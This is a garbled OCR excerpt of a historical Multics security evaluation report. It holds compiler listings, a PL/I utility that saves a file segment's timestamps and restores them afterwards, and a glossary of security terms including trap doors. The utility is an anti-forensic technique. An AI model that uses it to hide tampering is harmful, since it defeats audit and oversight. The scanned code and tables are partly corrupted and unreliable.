endarg	000635	constant	label	dcl 98 ref 87 98
loop	000555	constant	label	dcl 85 ref 85 89
mess	000132	constant	label	dcl 42 ref 42 57 92
reset	000770	constant	label	dcl 113 ref 108 181 113
zp	000072	constant	entry	external dcl 1 ref 1
NAMES DECLARED BY CONTEXT OR IMPLICATION.				
addr			builtin function	internal ref 37 66 67 99 99
base0			builtin function	internal ref 68 79 79 88 88 113 113
base0ptr			builtin function	internal ref 54 68

null
 ptr
 substr

builtin function
 builtin function
 builtin function

internal ref 47 49
 internal ref 59 60 79 79 80 80 113 113
 internal ref 74 101

STORAGE REQUIREMENTS FOR THIS PROGRAM.

Object	Text	Link	Symbol	Defn	Static
Start	0	1130	1336	1012	1140
Length	1526	1012	206	156	176

External procedure zp uses 244 words of automatic storage

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

r_o-as
 call_ext_out_desc
 call_ext_out

return

ext_entry

copy_words

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.

cu_sarg_ptr
 loc_smi
 2003f

cv_oct_check
 rln38_get_sse got-

loc-

zg

THE FOLLOWING EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

error_table_3non9

LINE	LOC	LINE	LOC	LINE	LOC	LINE	LOC	LINE	LOC
1	00071	37	00077	38	00081	40	00083	41	00081
45	000156	46	000202	47	000204	48	000207	49	000243
53	000302	54	000303	56	000310	57	000327	58	000340
61	000402	66	000430	67	000432	68	000435	69	000443
74	000466	75	000472	76	000513	78	000514	79	000517
85	000535	86	000536	87	000573	88	000604	89	000634
93	000641	94	000647	95	000656	96	000713	98	000715
101	000734	109	000760	113	000770	116	001010	99	000732
								100	000751
								91	000301
								60	000372
								71	000405
								04	000553
								92	000648
								43	000147
								50	000250
								59	000366
								70	000447
								80	000535
								90	000635
								42	000132
								51	000301
								60	000372
								71	000405
								04	000553
								92	000648
								100	000751

APPENDIX F

Set Dates Utility Listing

This appendix is a listing of the set dates utility described in Section 3.4.4. The get entry point takes a pathname as an argument and remembers the dates on the segment at that time. The set entry point takes no arguments and sets the dates on the segment to the values at the time of the call to the get entry point. Set remembers the pathname as well as the dates and may be called repeatedly to handle the deactivation problem discussed in Section 3.4.4.

COMPIATION LISTING OF SEGMENT get
 Compiled by: Multics PL/I Compiler, Version II of 30 August 1973.
 Compiled on: 04/10/74 1841.1 edt Mad
 Options: map

```

1 get:
2
3   proc;
4   /* Entry point to get the dates from a segment */
5
6
7
8   dcl
9     cu_sarg_ptr entry (fixed bin, ptr, fixed bin, fixed bin),
10    expand_path_entry (ptr, fixed bin, ptr, ptr, fixed bin),
11    com_err_entry options (variable),
12    hcs_sstatus_long entry (char (*), char (*), fixed bin (1), ptr, ptr, fixed bin),
13    hcs_sset_dates entry (char (*), char (*), ptr, fixed bin);
14
15   argp ptr,
16   code fixed bin,
17   dir char (168) int static init (" ");
18   entry char (32) int static init (" ");
19   arg char (argl) based (argp),
20   bp ptr;
21
22   1 time aligned internal static,
23   2 (dten, dtd, dtu, dtm) bit (36) unaligned;
24   dcl
25     1 branch aligned,
26     2 (type bit (2), nnames bit (16), nrg bit (18), dtm bit (36), dtu bit (36), mode bit (3), padding
27     bit (13), records bit (18), dtd bit (36), dtm bit (36), acct bit (36), curten bit (12), biter
28     bit (24), did bit (4), mddid bit (4), copyw bit (1), pad2 bit (9), nbs (812) bit (6), uid bit (36)
29     ; unal;
30   call cu_sarg_ptr (1, argp, argl, code);
31   if code = 0 then
32     do;
33     error;
34     call com_err_ (code, "get");
35     return;
36   end;
37   call expand_path_ (argp, argl, addr (dir), addr (entry), code);
38   if code = 0 then
39     do;
40     error;
41     call com_err_ (code, "get", argl);
42     return;
43   end;
44   bp = addr (branch);
45   call hcs_sstatus_long (dir, entry, 1, bp, null (1), code); /* read out dates on segment */
46   if code = 0 then go to error;
47
48   time.dten = branch.dten;
49   time.dtd = branch.dtd;
50   time.dtu = branch.dtu;
51   time.dtm = branch.dtm;
52   return;
53
54 set:
55   entry;
  
```

```

56 /* Entry to sal the dates on a segment to the values at the time of the sal call */
57
58
59     call hcs_sset_dates (dir, entry, addr (time), code) /* set the dates */
60
61     if code = 0 then go to er.1;
62
63     end;

```


THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

call_ext_out_desc call_ext_out return ext_entry

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.

cos_err_ cu_sarg_ptr expand_path_ hcs_ssef_dates

hcs_status_jeng

NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

LINE	LOC	LINE	LOC	LINE	LOC	LINE	LOC	LINE	LOC
1	000012	30	000020	33	000041	37	000061	39	000100
40	000106	42	000141	45	000144	48	000200	49	000211
50	000213	51	000215	54	000220	60	000255	61	000257

GLOSSARY

Access

"The ability and the means to approach, communicate with (input to or receive output from), or otherwise make use of any material or component in an ADP System." <DOD73>

Access Control List (ACL)

"An access control list (ACL) describes the access attributes associated with a particular segment. The ACL is a list of user identifications and respective access attributes. It is kept in the directory that catalogs the segment." <HIS73>

Active Segment Table (AST)

The AST contains an entry for every active segment in the system. A segment is "active" if its page table is in core. The AST is managed with least recently used algorithm.

Argument Validation

On calls to inner-ring (more privileged) procedures, argument validation is performed to ensure that the caller indeed had access to the arguments that have been passed to ensure that the called, more privileged procedure does not unwittingly access the arguments improperly.

Arrest

"The discovery of user activity not necessary to the normal processing of data which might lead to a violation of system security and force termination of the activity." <DOD73>

Breach

"The successful and repeatable defeat of security controls with or without an arrest, which if carried to consummation, could result in a penetration of the system. Examples of breaches are:

- a. Operation of user code in master mode;
- b. Unauthorized acquisition of I.D. password or file access passwords; and
- c. Accession to a file without using prescribed operating system mechanisms." <DDC73>

Call Limiter

The call limiter is a hardware feature of the IIS 6180 which restricts calls to a gate segment to a specified block of instructions (normally a transfer vector) at the base of the segment.

Date Time Last Modified (DTM)

The date time last modified of each segment is stored in its parent directory.

Date Time Last Used (DTU)

The date time last used of each segment is stored in its parent directory.

Deactivation

Deactivation is the process of removing a segments page table from core.

Descriptor Base Register (DBR)

The descriptor base register points to the page table of the descriptor segment of the process currently executing on the CPU.

Descriptor Segment (DSEG)

The descriptor segment is a table of segment descriptor words which identifies to the CPU to which

segments, the process currently has access.

Directory

"A directory is a segment that contains information about other segments such as access attributes, number of records, names, and bit count." <HIS73>

emergency_shutdown

"This mastermode module provides a system reentry point which can be used after a system crash to attempt to bring the system to a graceful stopping point." <SPS73>

Fault Intercept Module (fim)

The fim is a ring 0 module which is called to handle most faults. It copies the saved machine state into an easily accessible location and calls the appropriate fault handler (usually the signaller).

Gate Segment

A gate segment contains one or more entry point used on inward calls. A gate entry point is the only entry in a inner ring that may be called from an outer ring. Argument validation must be performed for all calls into gate segments.

General Comprehensive Operating Supervisor (GCOS)

GCOS is the operating system for the Honeywell 600/6000 line of computers. It is very similar to other conventional operating systems and has no outstanding security features.

HIS 645

The Honeywell 645 is the computer originally designed to run Multics. It is a modification of the HIS 635 adding paging and segmentation hardware.

Reproduced from
best available copy.

HIS 6180

The Honeywell 6180 is a follow-on design to the HIS 645. The HIS 6180 uses the advanced circuit technology of the HIS 6080 and adds paging and segmentation hardware. The primary difference between the HIS 6180 and the HIS 645 (aside from performance improvements) is the addition of protection ring hardware.

hcs_

The gate segment hcs_ provides entry into ring 0 for most user programs for such functions as creating and deleting segments, modifying ACL's, etc.

hphcs_

The gate segment hphcs_ provides entry into ring 0 for such functions as shutting the system down, hardware reconfiguration, etc. Its access is restricted to system administration personnel.

ITS Pointer

An ITS (Indirect To Segment) Pointer is a 72-bit pointer containing a segment number, word number, bit offset, and indirect modifier. A Multics PL/I aligned pointer variable is stored as an ITS pointer.

Known Segment Table (KST)

The KST is a per-process table which associates segment numbers with segment names. Details of its organization and use may be found in Organick. <ORG72>

Linkage Segment

"The linkage segment contains certain vital symbolic data, descriptive information, pointers, and instructions that are needed for the linking of procedures in each process." <ORG72>

Reproduced from
best available copy.

Master Mode

When the HIS 645 processor is in master mode (as opposed to slave mode), any processor instruction may be executed and access control checking is inhibited.

Multics

Multics, the Multiplexed Information and Computing Service, is the operating system for the HIS 645 and HIS 6180 computers.

Multi-Level Security Mode

"A mode of operation under an operating system (supervisor or executive program) which provides a capability permitting various levels and categories or compartments of material to be concurrently stored and processed in an ADP system. In a remotely accessed resource-sharing system, the material can be selectively accessed and manipulated from variously controlled terminals by personnel having different security clearances and access approvals. This mode of operation can accommodate the concurrent processing and storage of (a) two or more levels of classified data, or (b) one or more levels of classified data with unclassified data depending upon the constraints placed on the systems by the Designated Approving Authority." <DOD73>

OS/360

OS/360 is the operating system for the IBM 360 line of computers. It is very similar to other conventional operating systems and has no outstanding security features.

Page

Segments may be broken up into 1024 word blocks called pages which may be stored in non-contiguous locations of memory.

Penetration

"The successful and repeatable extraction and identification of recognizable information from a protected data file or data set without any attendant arrests." <DOD73>

Process

"A process is a locus of control within an instruction sequence. That is, a process is that abstract entity which moves through the instructions of a procedure as the procedure is executed by a processor." <DEN66>

Process Data Segment (PDS)

The PDS is a per-process segment which contains various information about the process including the user identification and the ring 0 stack. The PDS is accessible only in ring 0 or in master mode.

Process Initialization Table (PIT)

The PIT is a per-process segment which contains additional information about the process. The PIT is readable in ring 4 and writable only in ring 0.

Protection Rings

Protection rings form an extension to the traditional master/slave mode relationship in which there are eight hierarchical levels of protection numbered 0 - 7. A given ring *N* may access rings *N* through 7 but may only call specific gate segments in rings 0 to *N*-1.

Reference Monitor

The reference monitor is that hardware/software combination which must monitor all references by any program to any data anywhere in the system to ensure the security rules are followed.

- a. The monitor must be tamper proof.
- b. The monitor must be invoked for every

reference to data anywhere in the system.
c. The monitor must be small enough to be proven correct.

Segment

A segment is the logical atomic unit of information in Multics. Segments have names and unique protection attributes and may contain up to 256K words. Segments are directly implemented by the HIS 645 and HIS 6180 hardware.

Segment Descriptor Word (SDW)

An sdw is a single entry in a Descriptor Segment. The SDW contains the absolute address of the page table of a segment (if one exists) or an indication that the page table does not exist. The SDW also contains the access control information for the segment.

Segment Loading Table (SLT)

The SLT contains a list of segments to be used at the time the system is brought up. All segments in the SLT come from the system tape.

signaller

"signaller is the hardcore ring privileged procedure responsible for signalling all fault and interrupt-produced errors." <SPS73>

Slave Mode

When the HIS 645 processor is in slave mode, certain processor instructions are inhibited and access control checking is enforced. The processor may enter master mode from slave mode only by signalling a fault of some kind.

Stack Base Register

The stack base register contains the segment number of the stack currently in use. In the original design of Multics, the stack base was locked so that interrupt handlers were guaranteed that it always pointed to a writable segment. This restriction was later removed allowing the user to change the stack base arbitrarily.

subverter

The subverter is a procedure designed to test the reliability of security hardware by periodically attempting illegal accesses.

Trap door

Trap doors are unnoticed pieces of code which may be inserted into a system by a penetrator. The trap door would remain dormant within the software until triggered by the agent. Trap doors inserted into the code implementing the reference monitor could bypass any and all security restrictions on the systems. Trap doors can potentially be inserted at any time during software development and use.

WWMCCS

WWMCCS, the World Wide Military Command and Control System, is designed to provide unified command and control functions for the Joint Chiefs of Staff. As part of the WWMCCS contract for procurement of a large number of HIS 6000 computers, a set of software modifications were made to GCOS, primarily in the area of security. The WWMCCS GCOS security system was found to be no more effective than the unmodified GCOS security, due to the inherent weaknesses of GCOS itself.